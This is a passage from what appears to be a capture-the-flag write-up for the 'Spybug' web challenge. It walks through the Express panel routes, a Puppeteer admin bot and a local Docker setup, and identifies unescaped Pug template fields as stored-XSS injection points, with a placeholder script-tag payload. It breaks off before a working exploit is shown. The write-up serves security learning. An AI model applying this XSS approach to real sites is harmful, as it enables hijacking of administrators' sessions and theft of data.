&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nx">getAgents&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nx">getRecordings&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">}&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nx">require&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;./../utils/database&amp;#34;&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kr">const&lt;/span> &lt;span class="nx">authUser&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nx">require&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;../middleware/authuser&amp;#34;&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nx">router&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">get&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;/panel&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="nx">authUser&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="kr">async&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="nx">req&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="nx">res&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">=&amp;gt;&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nx">res&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">render&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;panel&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nx">username&lt;/span>&lt;span class="o">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nx">req&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">session&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">username&lt;/span> &lt;span class="o">===&lt;/span> &lt;span class="s2">&amp;#34;admin&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="o">?&lt;/span> &lt;span class="nx">process&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">env&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">FLAG&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="o">:&lt;/span> &lt;span class="nx">req&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">session&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">username&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nx">agents&lt;/span>&lt;span class="o">:&lt;/span> &lt;span class="kr">await&lt;/span> &lt;span class="nx">getAgents&lt;/span>&lt;span class="p">(),&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nx">recordings&lt;/span>&lt;span class="o">:&lt;/span> &lt;span class="kr">await&lt;/span> &lt;span class="nx">getRecordings&lt;/span>&lt;span class="p">(),&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">});&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">});&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nx">router&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">get&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;/panel/logout&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="nx">authUser&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="nx">req&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="nx">res&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">=&amp;gt;&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nx">req&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">session&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">destroy&lt;/span>&lt;span class="p">();&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nx">res&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">redirect&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;/panel/login&amp;#34;&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">});&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nx">router&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">get&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;/panel/login&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="nx">req&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="nx">res&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">=&amp;gt;&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nx">res&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">render&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;login&amp;#34;&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">});&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nx">router&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">post&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;/panel/login&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="kr">async&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="nx">req&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="nx">res&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">=&amp;gt;&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">let&lt;/span> &lt;span class="nx">username&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nx">req&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">body&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">username&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">let&lt;/span> &lt;span class="nx">password&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nx">req&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">body&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">password&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="o">!&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nx">username&lt;/span> &lt;span class="o">&amp;amp;&amp;amp;&lt;/span> &lt;span class="nx">password&lt;/span>&lt;span class="p">))&lt;/span> &lt;span class="k">return&lt;/span> &lt;span class="nx">res&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">sendStatus&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">400&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="o">!&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kr">await&lt;/span> &lt;span class="nx">checkUserLogin&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nx">username&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="nx">password&lt;/span>&lt;span class="p">)))&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="nx">res&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">redirect&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;/panel/login&amp;#34;&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nx">req&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">session&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">loggedin&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="kc">true&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nx">req&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">session&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">username&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nx">username&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nx">res&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">redirect&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;/panel&amp;#34;&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">});&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nx">module&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">exports&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nx">router&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Let&amp;rsquo;s summarize what they do.&lt;/p>
&lt;p>&lt;code>routes/agent.js&lt;/code> has register function which returns an id and a token that we can use to upload a file. And we can only upload a file with the header which is somewhat similar to &lt;code>WAV&lt;/code> file. We can also modify &lt;code>hostname&lt;/code>, &lt;code>arch&lt;/code> and &lt;code>platform&lt;/code>.&lt;/p>
&lt;p>&lt;code>routes/panel.js&lt;/code> which only accepts credential of &lt;code>admin&lt;/code>. If the provided credential is valid, the main panel will render with the recordings that agents provide.&lt;/p>
&lt;p>Let&amp;rsquo;s keep in mind that there is a bot being generated at every 60 seconds. This bot will login to the panel and review all panel at a context of a browser. This is no doubt an Client-Side challenge.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-js" data-lang="js">&lt;span class="line">&lt;span class="cl">&lt;span class="c1">// index.js
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span>&lt;span class="kr">const&lt;/span> &lt;span class="p">{&lt;/span> &lt;span class="nx">visitPanel&lt;/span> &lt;span class="p">}&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nx">require&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;./utils/adminbot&amp;#34;&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">............&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nx">createAdmin&lt;/span>&lt;span class="p">();&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nx">setInterval&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nx">visitPanel&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">60000&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">// utils/adminbot.js
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span>&lt;span class="nx">require&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;dotenv&amp;#34;&lt;/span>&lt;span class="p">).&lt;/span>&lt;span class="nx">config&lt;/span>&lt;span class="p">();&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kr">const&lt;/span> &lt;span class="nx">puppeteer&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nx">require&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;puppeteer&amp;#34;&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kr">const&lt;/span> &lt;span class="nx">browserOptions&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nx">headless&lt;/span>&lt;span class="o">:&lt;/span> &lt;span class="kc">true&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nx">executablePath&lt;/span>&lt;span class="o">:&lt;/span> &lt;span class="s2">&amp;#34;/usr/bin/chromium-browser&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nx">args&lt;/span>&lt;span class="o">:&lt;/span> &lt;span class="p">[&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;--no-sandbox&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;--disable-background-networking&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;--disable-default-apps&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;--disable-extensions&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;--disable-gpu&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;--disable-sync&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;--disable-translate&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;--hide-scrollbars&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;--metrics-recording-only&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;--mute-audio&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;--no-first-run&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;--safebrowsing-disable-auto-update&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;--js-flags=--noexpose_wasm,--jitless&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">],&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">};&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nx">exports&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">visitPanel&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="kr">async&lt;/span> &lt;span class="p">()&lt;/span> &lt;span class="p">=&amp;gt;&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">try&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kr">const&lt;/span> &lt;span class="nx">browser&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="kr">await&lt;/span> &lt;span class="nx">puppeteer&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">launch&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nx">browserOptions&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">let&lt;/span> &lt;span class="nx">context&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="kr">await&lt;/span> &lt;span class="nx">browser&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">createIncognitoBrowserContext&lt;/span>&lt;span class="p">();&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">let&lt;/span> &lt;span class="nx">page&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="kr">await&lt;/span> &lt;span class="nx">context&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">newPage&lt;/span>&lt;span class="p">();&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kr">await&lt;/span> &lt;span class="nx">page&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="kr">goto&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;http://0.0.0.0:&amp;#34;&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="nx">process&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">env&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">API_PORT&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nx">waitUntil&lt;/span>&lt;span class="o">:&lt;/span> &lt;span class="s2">&amp;#34;networkidle2&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nx">timeout&lt;/span>&lt;span class="o">:&lt;/span> &lt;span class="mi">5000&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">});&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kr">await&lt;/span> &lt;span class="nx">page&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">type&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;#username&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s2">&amp;#34;admin&amp;#34;&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kr">await&lt;/span> &lt;span class="nx">page&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">type&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;#password&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="nx">process&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">env&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">ADMIN_SECRET&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kr">await&lt;/span> &lt;span class="nx">page&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">click&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;#loginButton&amp;#34;&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kr">await&lt;/span> &lt;span class="nx">page&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">waitForTimeout&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">5000&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kr">await&lt;/span> &lt;span class="nx">browser&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">close&lt;/span>&lt;span class="p">();&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span> &lt;span class="k">catch&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="nx">e&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nx">console&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">log&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nx">e&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">};&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Well since I really wanted to know how the recordings being rendered. I will create a Docker. For those who are new to CTFs, Docker is a good way to debug what really happens behind the curtain.&lt;/p>
&lt;p>For the purpose of testing I will modify &lt;code>./build-docker.sh&lt;/code> to&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">&lt;span class="cp">#!/bin/bash
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="cp">&lt;/span>docker stop web_spybug
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">docker rm web_spybug
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">docker rmi &lt;span class="k">$(&lt;/span>docker images -f &lt;span class="nv">dangling&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="nb">true&lt;/span> -q&lt;span class="k">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">docker rmi &lt;span class="k">$(&lt;/span>docker images -q web_spybug&lt;span class="k">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">docker build --tag&lt;span class="o">=&lt;/span>web_spybug .
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">docker run -p 1337:1337 -e &lt;span class="nv">API_PORT&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="m">1337&lt;/span> -e &lt;span class="nv">FLAG&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s2">&amp;#34;HTB{f4k3_fl4g_f0r_t3st1ng}&amp;#34;&lt;/span> -e &lt;span class="nv">SESSION_SECRET&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="k">$(&lt;/span>cat /dev/urandom &lt;span class="p">|&lt;/span> tr -dc &lt;span class="s1">&amp;#39;a-zA-Z0-9&amp;#39;&lt;/span> &lt;span class="p">|&lt;/span> fold -w &lt;span class="m">32&lt;/span> &lt;span class="p">|&lt;/span> head -n 1&lt;span class="k">)&lt;/span> -e &lt;span class="nv">ADMIN_SECRET&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s2">&amp;#34;admin&amp;#34;&lt;/span> web_spybug
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>I changed the admin password from randomly generated 32 characters string to &lt;code>admin&lt;/code>. Let&amp;rsquo;s build and run the docker using command
&lt;code>./build-docker.sh&lt;/code>&lt;/p>
&lt;p>While waiting our docker finishes building and runs. Let&amp;rsquo;s look at how are we able to perform such Client-Side XSS attack. Let&amp;rsquo;s look at the template &lt;code>views/panel.pug&lt;/code>, we will find 2 places that we can place our payload.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-fallback" data-lang="fallback">&lt;span class="line">&lt;span class="cl">if agents.length &amp;gt; 0
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> table.w-100
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> thead
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> tr
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> th ID
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> th Hostname
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> th Platform
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> th Arch
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> tbody
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> each agent in agents
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> tr
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> td= agent.identifier
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> td !{agent.hostname}
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> td !{agent.platform}
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> td !{agent.arch}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-fallback" data-lang="fallback">&lt;span class="line">&lt;span class="cl">tbody
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> each recording in recordings
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> tr
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> td= recording.agentId
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> td
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> audio(controls=&amp;#39;&amp;#39;)
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> source(src=recording.filepath)
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>The first flashes through my mind is &lt;code>!{agent.hostname}&lt;/code>, &lt;code>!{agent.platform}&lt;/code> and &lt;code>!{agent.arch}&lt;/code>. Upon reading the &lt;code>pug/jade&lt;/code> document&lt;/p>
&lt;img src="spybug1.png" alt="jade document" width="1000"/>
&lt;p>Aaaaaah, so no escape then, so we just need to fix the &lt;code>hostname&lt;/code> or &lt;code>platform&lt;/code> or &lt;code>arch&lt;/code> to &lt;code>&amp;lt;script&amp;gt;(evil xss)&amp;lt;/script&amp;gt;&lt;/code> right ? Unfortunately, it won&amp;rsquo;t work. Let&amp;rsquo;s look at the &lt;code>index.js&lt;/code> again.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-js" data-lang="js">&lt;span class="line">&lt;span class="cl">&lt;span class="nx">application&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">use&lt;/span>&lt;span class="p">((&lt;/span>&lt;span class="nx">req&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="nx">res&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="nx">next&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">=&amp;gt;&lt;/span> &lt;span class="p">{&lt;/span>
